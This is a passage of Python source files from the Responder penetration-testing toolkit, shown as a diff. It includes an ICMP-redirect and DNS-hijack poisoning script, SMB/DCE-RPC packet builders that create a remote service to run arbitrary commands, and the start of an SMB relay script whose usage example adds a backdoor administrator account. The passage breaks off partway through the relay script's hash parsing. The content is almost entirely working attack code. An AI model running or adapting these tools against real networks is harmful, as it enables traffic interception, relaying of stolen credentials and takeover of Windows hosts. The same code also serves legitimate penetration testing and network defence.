("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
|
||||
])
|
||||
|
||||
class IPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("VLen", "\x45"),
|
||||
("DifField", "\x00"),
|
||||
("Len", "\x00\x38"),
|
||||
("TID", "\x25\x25"),
|
||||
("Flag", "\x00"),
|
||||
("FragOffset", "\x00"),
|
||||
("TTL", "\x1d"),
|
||||
("Cmd", "\x01"), #ICMP
|
||||
("CheckSum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["TID"] = chr(randrange(256))+chr(randrange(256))
|
||||
self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"]))
|
||||
self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"]))
|
||||
# Calc Len First
|
||||
CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"])
|
||||
self.fields["Len"] = struct.pack(">H", len(CalculateLen))
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
class ICMPRedir(Packet):
|
||||
fields = OrderedDict([
|
||||
("Type", "\x05"),
|
||||
("OpCode", "\x01"),
|
||||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(Responder_IP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
class DummyUDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x35"), #port 53
|
||||
("DstPort", "\x00\x35"),
|
||||
("Len", "\x00\x08"), #Always 8 in this case.
|
||||
("CheckSum", "\x00\x00"), #CheckSum disabled.
|
||||
])
|
||||
|
||||
def ReceiveArpFrame(DstAddr):
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
s.settimeout(5)
|
||||
Protocol = 0x0806
|
||||
s.bind((Interface, Protocol))
|
||||
OurMac = s.getsockname()[4]
|
||||
Eth = EthARP(SrcMac=OurMac)
|
||||
Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
|
||||
Arp.calculate()
|
||||
final = str(Eth)+str(Arp)
|
||||
try:
|
||||
s.send(final)
|
||||
data = s.recv(1024)
|
||||
DstMac = data[22:28]
|
||||
DestMac = DstMac.encode('hex')
|
||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
||||
return PrintMac,DstMac
|
||||
except:
|
||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
||||
exit(1)
|
||||
|
||||
def IcmpRedirectSock(DestinationIP):
|
||||
PrintMac,DestMac = ReceiveArpFrame(VictimIP)
|
||||
print '[ARP]Target Mac address is :',PrintMac
|
||||
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
|
||||
print '[ARP]Router Mac address is :',PrintMac
|
||||
s = socket(AF_PACKET, SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
|
||||
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
|
||||
IPPackUDP.calculate()
|
||||
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
|
||||
ICMPPack.calculate()
|
||||
IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
|
||||
IPPack.calculate()
|
||||
final = str(Eth)+str(IPPack)
|
||||
s.send(final)
|
||||
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
|
||||
|
||||
def FindWhatToDo(ToThisHost2):
|
||||
if ToThisHost2 != None:
|
||||
Show_Help('Hit CRTL-C to kill this script')
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
|
||||
if ToThisHost2 == None:
|
||||
Show_Help(MoreHelp)
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
exit()
|
||||
|
||||
def RunThisInLoop(host, host2, ip):
|
||||
dns1 = pipes.quote(host)
|
||||
dns2 = pipes.quote(host2)
|
||||
Responder_IPadd = pipes.quote(ip)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
|
||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||
while True:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
IcmpRedirectSock(DestinationIP=dns2)
|
||||
print "[+]Repoisoning the target in 8 minutes..."
|
||||
sleep(480)
|
||||
|
||||
FindWhatToDo(ToThisHost2)
|
354
tools/RelayPackets.py
Normal file
354
tools/RelayPackets.py
Normal file
|
@ -0,0 +1,354 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("proto", "\xff\x53\x4d\x42"),
|
||||
("cmd", "\x72"),
|
||||
("errorcode", "\x00\x00\x00\x00"),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Separator1","\x02" ),
|
||||
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("Separator2","\x02"),
|
||||
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("Separator3","\x02"),
|
||||
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("Separator4","\x02"),
|
||||
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("Separator5","\x02"),
|
||||
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("Separator6","\x02"),
|
||||
("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionTreeData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0d"),
|
||||
("AndXCommand", "\x75"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x7c\x00"),
|
||||
("Maxbuff","\x04\x11"),
|
||||
("Maxmpx", "\x32\x00"),
|
||||
("Vcnum","\x00\x00"),
|
||||
("Sessionkey", "\x00\x00\x00\x00"),
|
||||
("AnsiPassLength","\x18\x00"),
|
||||
("UnicodePassLength", "\x00\x00"),
|
||||
("Reserved2","\x00\x00\x00\x00"),
|
||||
("Capabilities", "\xd4\x00\x00\x00"),
|
||||
("Bcc","\x3f\x00"),
|
||||
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||
("Username","Administrator"),
|
||||
("UsernameTerminator","\x00\x00"),
|
||||
("Domain","SMB"),
|
||||
("DomainTerminator","\x00\x00"),
|
||||
("Nativeos",""),
|
||||
("NativeosTerminator","\x00\x00"),
|
||||
("Lanmanager",""),
|
||||
("LanmanagerTerminator","\x00\x00\x00"),
|
||||
("Wordcount2","\x04"),
|
||||
("Andxcmd2","\xff"),
|
||||
("Reserved3","\x00"),
|
||||
("Andxoffset2","\x06\x01"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswordLength","\x01\x00"),
|
||||
("Bcc2","\x19\x00"),
|
||||
("Passwd","\x00"),
|
||||
("PrePath","\\\\"),
|
||||
("Targ", "CSCDSFCS"),
|
||||
("IPC", "\\IPC$"),
|
||||
("TerminatorPath","\x00\x00"),
|
||||
("Service","?????"),
|
||||
("TerminatorService","\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
##Convert first
|
||||
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
|
||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
|
||||
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
|
||||
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
|
||||
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
|
||||
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
|
||||
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
|
||||
##Then calculate
|
||||
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
|
||||
|
||||
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(data1))
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(data2))
|
||||
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
|
||||
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
|
||||
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
|
||||
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
|
||||
|
||||
class SMBNTCreateData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x18"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("Reserved2", "\x00"),
|
||||
("FileNameLen", "\x07\x00"),
|
||||
("CreateFlags", "\x16\x00\x00\x00"),
|
||||
("RootFID", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x00\x00\x00\x02"),
|
||||
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("FileAttrib", "\x00\x00\x00\x00"),
|
||||
("ShareAccess", "\x07\x00\x00\x00"),
|
||||
("Disposition", "\x01\x00\x00\x00"),
|
||||
("CreateOptions", "\x00\x00\x00\x00"),
|
||||
("Impersonation", "\x02\x00\x00\x00"),
|
||||
("SecurityFlags", "\x00"),
|
||||
("Bcc", "\x08\x00"),
|
||||
("FileName", "\\svcctl"),
|
||||
("FileNameNull", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBReadData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0a"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x00\x00"),
|
||||
("Offset", "\x19\x03\x00\x00"),
|
||||
("MaxCountLow", "\xed\x01"),
|
||||
("MinCount", "\xed\x01"),
|
||||
("Hidden", "\xff\xff\xff\xff"),
|
||||
("Remaining", "\x00\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBWriteData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x0e"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00" ),
|
||||
("Andxoffset", "\x00\x00"),
|
||||
("FID", "\x06\x40"),
|
||||
("Offset", "\xea\x03\x00\x00"),
|
||||
("Reserved2", "\xff\xff\xff\xff"),
|
||||
("WriteMode", "\x08\x00"),
|
||||
("Remaining", "\xdc\x02"),
|
||||
("DataLenHi", "\x00\x00"),
|
||||
("DataLenLow", "\xdc\x02"),
|
||||
("DataOffset", "\x3f\x00"),
|
||||
("HiOffset", "\x00\x00\x00\x00"),
|
||||
("Bcc", "\xdc\x02"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCEData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x0b"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("MaxTransFrag", "\xd0\x16"),
|
||||
("MaxRecvFrag", "\xd0\x16"),
|
||||
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||
("CTXNumber", "\x01"),
|
||||
("CTXPadding", "\x00\x00\x00"),
|
||||
("CTX0ContextID", "\x00\x00"),
|
||||
("CTX0ItemNumber", "\x01\x00"),
|
||||
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
|
||||
("CTX0UIDVersion", "\x02\x00"),
|
||||
("CTX0UIDVersionlo","\x00\x00"),
|
||||
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
|
||||
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
|
||||
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
|
||||
class SMBDCEPacketData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x05"),
|
||||
("VersionLow", "\x00"),
|
||||
("PacketType", "\x00"),
|
||||
("PacketFlag", "\x03"),
|
||||
("DataRepresent", "\x10\x00\x00\x00"),
|
||||
("FragLen", "\x2c\x02"),
|
||||
("AuthLen", "\x00\x00"),
|
||||
("CallID", "\x00\x00\x00\x00"),
|
||||
("AllocHint", "\x38\x00\x00\x00"),
|
||||
("ContextID", "\x00\x00"),
|
||||
("Opnum", "\x0f\x00"),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
|
||||
|
||||
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBDCESVCCTLOpenManagerW(Packet):
|
||||
fields = OrderedDict([
|
||||
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
|
||||
("MaxCount", "\x0f\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0f\x00\x00\x00"),
|
||||
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
|
||||
("MachineNameNull", "\x00\x00\x00\x00"),
|
||||
("DbPointer", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\x3f\x00\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Convert to UTF-16LE
|
||||
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLCreateService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", "AyAGaxwLhCP"),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("ReferentID", "\x9c\xfa\x9a\xc9"),
|
||||
("MaxCountRefID", "\x11\x00\x00\x00"),
|
||||
("OffsetID", "\x00\x00\x00\x00"),
|
||||
("ActualCountRefID", "\x11\x00\x00\x00"),
|
||||
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
|
||||
("DisplayNameIDNull", "\x00\x00\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
("ServerType", "\x10\x01\x00\x00"),
|
||||
("ServiceStartType", "\x03\x00\x00\x00"),
|
||||
("ServiceErrorCtl", "\x00\x00\x00\x00"),
|
||||
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||
("BinPathName", "%COMSPEC% /C \""),
|
||||
("BinCMD", ""),
|
||||
("BintoEnd", "\""),
|
||||
("BinPathNameNull", "\x00\x00"),
|
||||
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
||||
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
||||
|
||||
## Calculate first
|
||||
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
||||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLOpenService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x0c\x00\x00\x00"),
|
||||
("Offset", "\x00\x00\x00\x00"),
|
||||
("ActualCount", "\x0c\x00\x00\x00"),
|
||||
("ServiceName", ""),
|
||||
("MachineNameNull", "\x00\x00"),
|
||||
("AccessMask", "\xff\x01\x0f\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
## Calculate first
|
||||
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||
## Then convert to UTF-16LE, yeah it's weird..
|
||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||
|
||||
class SMBDCESVCCTLStartService(Packet):
|
||||
fields = OrderedDict([
|
||||
("ContextHandle", ""),
|
||||
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def ParseAnswerKey(data,host):
|
||||
key = data[73:81]
|
||||
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
|
||||
return key
|
441
tools/SMBRelay.py
Normal file
441
tools/SMBRelay.py
Normal file
|
@ -0,0 +1,441 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||
from fingerprint import RunSmbFinger
|
||||
from odict import OrderedDict
|
||||
from socket import *
|
||||
from RelayPackets import *
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
for arg in parser.rargs:
|
||||
if arg[0] != "-":
|
||||
args.append(arg)
|
||||
if getattr(parser.values, op.dest):
|
||||
args.extend(getattr(parser.values, op.dest))
|
||||
setattr(parser.values, op.dest, args)
|
||||
|
||||
parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD')
|
||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
||||
parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain")
|
||||
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.CMD is None:
|
||||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.TARGET is None:
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.UserToRelay is None:
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
# Set some vars.
|
||||
UserToRelay = options.UserToRelay
|
||||
Domain = options.Domain
|
||||
Command = options.CMD
|
||||
Target = options.TARGET
|
||||
Responder_IP = options.Responder_IP
|
||||
|
||||
print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com"
|
||||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Logger
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(outfile,Client, User, cmd=None):
|
||||
try:
|
||||
with open(ResponderPATH+outfile,"r") as filestr:
|
||||
if cmd == None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if cmd != None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
except:
|
||||
raise
|
||||
|
||||
#Function used to parse SMB NTLMv1/v2
|
||||
def ParseHash(data,Client, Target):
|
||||
try:
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
if NthashLen >= 30:
|
||||
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
